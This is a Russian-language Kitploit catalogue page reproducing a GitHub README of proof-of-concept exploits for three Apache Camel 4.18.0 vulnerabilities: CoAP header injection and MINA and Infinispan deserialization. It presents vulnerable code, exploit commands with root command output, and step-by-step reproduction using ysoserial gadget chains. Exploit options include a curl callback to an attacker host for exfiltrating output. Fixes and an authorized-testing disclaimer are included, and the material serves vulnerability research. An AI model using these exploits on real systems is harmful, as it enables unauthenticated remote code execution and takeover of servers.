Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33453 — Предоставляет рабочие proof-of-concept эксплойты и подробный анализ трёх критических уязвимостей Apache Camel, включая внедрение заголовков CoAP и небезопасную десериализацию, приводящую к удалённому выполнению кода. | Kitploit
Инструменты/GitHubGitHub/dinosn/cve-2026-33453
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingЭксплуатация Бинарных Файлов
GitHubdinosn/cve-2026-33453

CVE-2026-33453

Предоставляет рабочие proof-of-concept эксплойты и подробный анализ трёх критических уязвимостей Apache Camel, включая внедрение заголовков CoAP и небезопасную десериализацию, приводящую к удалённому выполнению кода.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Apache Camel 4.18.0 — Оценка безопасности CVE

Три критических уязвимости в Apache Camel 4.18.0, обнаруженные независимо и подтверждённые рабочими proof-of-concept эксплойтами.

CVEКомпонентТипCVSSВердикт
CVE-2026-33453camel-coapИнъекция заголовков → RCE10.0 CriticalЭксплуатируемая
CVE-2026-40473camel-minaНебезопасная десериализация → RCE9.8 CriticalЭксплуатируемая
CVE-2026-40858camel-infinispanНебезопасная десериализация8.8 HighЭксплуатируемая

CVE-2026-33453: Инъекция заголовков CoAP → Удалённое выполнение кода

Компонент: camel-coap — CamelCoapResource.java:103-109 CWE: CWE-915 (Некорректно контролируемая модификация атрибутов объектов) Исправлено в: Camel 4.18.1 / 4.14.6

Корневая причина

CamelCoapResource.handleRequest() напрямую сопоставляет параметры URI-запроса CoAP с заголовками Camel Exchange через setHeader() без HeaderFilterStrategy. CoAPEndpoint расширяет DefaultEndpoint вместо DefaultHeaderFilterStrategyEndpoint, поэтому внутренние заголовки с префиксом Camel* могут быть внедрены любым неаутентифицированным клиентом.

Когда маршрут пересылает данные в camel-exec, управляемые атакующим заголовки CamelExecCommandExecutable и CamelExecCommandArgs переопределяют сконфигурированную команду, обеспечивая RCE без аутентификации с помощью одного UDP-пакета.

root@kitploit:~
// CamelCoapResource.java:103-109 — НЕТ HeaderFilterStrategy
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

Результат PoC

CoAP RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Response: 2.05
[+] Command output: cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Command output: app bin boot dev etc home lib ...

CVE-2026-40473: Небезопасная десериализация MINA → Удалённое выполнение кода

Компонент: camel-mina — MinaConverter.java:60-63 CWE: CWE-502 (Десериализация недоверенных данных) Исправлено в: Camel 4.18.2 / 4.14.6 / 4.20.0

Корневая причина

MinaConverter.toObjectInput(IoBuffer) создаёт сырой java.io.ObjectInputStream без ObjectInputFilter. Когда конечная точка MINA сконфигурирована с allowDefaultCodec=false, сырые TCP-данные поступают как IoBuffer и достигают преобразователя типов Camel, который вызывает этот метод — оборачивая управляемые атакующим сетевые байты в нефильтрованный ObjectInputStream.

root@kitploit:~
// MinaConverter.java:60-63 — НЕТ ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // управляемые атакующим байты, БЕЗ ФИЛЬТРА
}

Вектор атаки: Эксплойт нацелен на TCP-конечную точку MINA с allowDefaultCodec=false (порт 9879 в PoC). Это полностью обходит уровень кодеков MINA — ObjectSerializationCodecFactory имеет собственный allowlist ClassNameMatcher, который в противном случае заблокировал бы произвольные классы. При отключённом кодеке сырые байты поступают напрямую в MinaConverter.toObjectInput(), который создаёт стандартный ObjectInputStream без какой-либо фильтрации классов.

Цепочка гаджетов CommonsCollections6 (через ysoserial) обеспечивает выполнение произвольных команд от имени root. Вывод команд извлекается через curl callback на атакующего.

Результат PoC

MINA RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Command output:
    uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMED: CVE-2026-40473 RCE — команда выполнена через десериализацию

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Command output:
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

Воспроизведение CVE-2026-40473 пошагово

Предварительные требования

  • Docker и Docker Compose
  • Python 3.8+
  • Java 17+ (для ysoserial)
  • ysoserial — ysoserial-all.jar (гаджет CommonsCollections6)

Шаг 1: Сборка и запуск уязвимого сервера

root@kitploit:~
cd poc/
docker compose up -d --build

Дождитесь запуска контейнера, затем проверьте:

root@kitploit:~
docker logs vuln-camel-mina

Вы должны увидеть:

MINA Setup

root@kitploit:~
[*] Vulnerable MINA server started
[*] Port 9877: transferExchange (Java deser) endpoint
[*] Port 9878: Object serialization codec endpoint
[*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint
[*] Waiting for connections...

Порт 9879 является целью — он использует allowDefaultCodec=false, что отключает фильтр кодеков MINA и позволяет сырому IoBuffer достигать нефильтрованного MinaConverter.toObjectInput() в Camel.

Шаг 2: Подтверждение десериализации (режим проверки)

Сначала убедитесь, что конечная точка принимает и десериализует произвольные Java-объекты без ObjectInputFilter:

root@kitploit:~
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

MINA Probe

root@kitploit:~
[*] Probe mode — confirming deserialization (no RCE)
[*] Payload: HashMap (82 bytes, raw — no MINA frame)
[+] Connected to MINA endpoint
[+] Payload sent
[+] Data reached readObject() with no filter rejection

Проверка отправляет сериализованный HashMap. Сервер десериализует его через ObjectInputStream.readObject() без InvalidClassException — что подтверждает отсутствие фильтрации классов.

Шаг 3: Выполнение команд (полный RCE)

С доступным ysoserial эксплуатируйте нефильтрованную десериализацию для выполнения произвольных команд:

root@kitploit:~
# Выполнить 'id' — возвращает uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# Чтение файлов
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# Информация о системе
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

Эксплойт генерирует цепочку гаджетов CommonsCollections6, отправляет её как сырые байты на порт 9879 и перехватывает вывод команды через прослушиватель curl callback.

Параметры эксплойта

root@kitploit:~
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           IP-адрес/имя хоста цели
  port             TCP-порт MINA (по умолчанию: 9879)
  command          Команда для выполнения (по умолчанию: id)
  --ysoserial      Путь к ysoserial.jar (автоопределение, если не задан)
  --callback-host  Хост, через который контейнер связывается с вами (по умолчанию: host.docker.internal)
  --gadget         Цепочка гаджетов ysoserial (по умолчанию: auto — пробует CC6, CC5, CC1)
  --probe          Только режим проверки — подтверждение десериализации без RCE
  --raw            Отправка сырого payload без 4-байтового фрейма MINA (автовключение для порта 9879)

Примечание: --callback-host по умолчанию равен host.docker.internal (Docker Desktop). При работе на Linux без Docker Desktop используйте --callback-host 172.17.0.1 или IP-адрес вашего моста Docker.

Шаг 4: Очистка

root@kitploit:~
cd poc/
docker compose down

CVE-2026-40858: Небезопасная десериализация Infinispan

Компонент: camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE: CWE-502 (Десериализация недоверенных данных) Исправлено в: Camel 4.18.2 / 4.14.7 / 4.20.0

Корневая причина

DefaultExchangeHolderUtils.deserialize(byte[]) создаёт ClassLoadingAwareObjectInputStream без ObjectInputFilter. DefaultExchangeHolderProtoAdapter направляет байты кэша Infinispan напрямую в этот метод. Атакующий с правами записи в кэш (порт Hot Rod 11222 или REST API) внедряет вредоносный сериализованный payload, который десериализуется при получении ключа репозиторием агрегации.

Это тот же шаблон уязвимости, что и CVE-2024-22369, CVE-2024-23114 и CVE-2026-25747 — все неисправленные экземпляры readObject() без ObjectInputFilter в путях десериализации Camel.

root@kitploit:~
// DefaultExchangeHolderUtils.java:46-53 — НЕТ ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // управляемые атакующим данные
    }
}

Уязвимый код

Infinispan Vulnerable Code


Аннотированный уязвимый код

Vulnerable Code Annotated


Воспроизведение всех трёх CVE

Предварительные требования

  • Docker и Docker Compose
  • Python 3.8+
  • Java 17+ (для ysoserial)
  • ysoserial для полных цепочек гаджетов RCE (CVE-2026-40473)

Сборка и запуск

root@kitploit:~
cd poc/
docker compose up -d --build

Это запускает:

  • vuln-camel-coap — конечная точка CoAP на UDP-порту 5683 с маршрутом camel-exec
  • vuln-camel-mina — TCP-конечные точки MINA на портах 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory) и 9879 (сырой TCP — основная цель атаки)
  • infinispan — сервер Infinispan на порту 11222
  • vuln-camel-infinispan — репозиторий агрегации Camel на базе Infinispan

Запуск эксплойтов

root@kitploit:~
# CVE-2026-33453: Инъекция заголовков CoAP → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'

# CVE-2026-40473: Небезопасная десериализация MINA → RCE (см. подробные инструкции выше)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# CVE-2026-40858: Небезопасная десериализация Infinispan
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222

Очистка

root@kitploit:~
cd poc/
docker compose down

Процесс оценки

Эта оценка была выполнена с использованием фреймворка автономного исследования безопасности RAPTOR:

  1. Исследование — Выявлены все 3 CVE, перекрёстно сопоставлены коммиты исправлений для определения Apache Camel 4.18.0 как единственной уязвимой версии
  2. Получение исходников — Загружены уязвимые компоненты через git sparse-checkout (camel-coap, camel-mina, camel-infinispan)
  3. Сканирование (/scan) — Автоматическое обнаружение уязвимостей во всех 3 компонентах
  4. Понимание (/understand --map) — Картирование поверхности атаки: точки входа, границы доверия, стоки, непроверенные потоки данных
  5. Валидация (/validate) — Полный 8-этапный конвейер валидации эксплуатируемости (Этапы 0 → A → B → C → D → E → F → 1), подтверждающий, что все 3 находки реальны, достижимы и эксплуатируемы
  6. Эксплуатация (/exploit) — Разработка рабочих PoC с тестовой средой на базе Docker
  7. Документация — Скриншоты, отчёт об эксплойтах и этот README

Исправления

CVEВерсия исправленияИзменение
CVE-2026-334534.18.1 / 4.14.6CoAPEndpoint → расширяет DefaultHeaderFilterStrategyEndpoint; CoAPComponent → реализует HeaderFilterStrategyComponent
CVE-2026-404734.18.2 / 4.14.6 / 4.20.0Добавлен ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") перед readObject()
CVE-2026-408584.18.2 / 4.14.7 / 4.20.0Добавлен allowlist ObjectInputFilter (тот же шаблон); откат к JVM-фильтру сериализации, если он сконфигурирован

Отказ от ответственности

Это исследование предназначено только для авторизованного тестирования безопасности и образовательных целей. Все эксплойты были протестированы на локально собранных Docker-контейнерах с запущенным уязвимым ПО. Обновитесь до указанных выше исправленных версий.

Скачать инструмент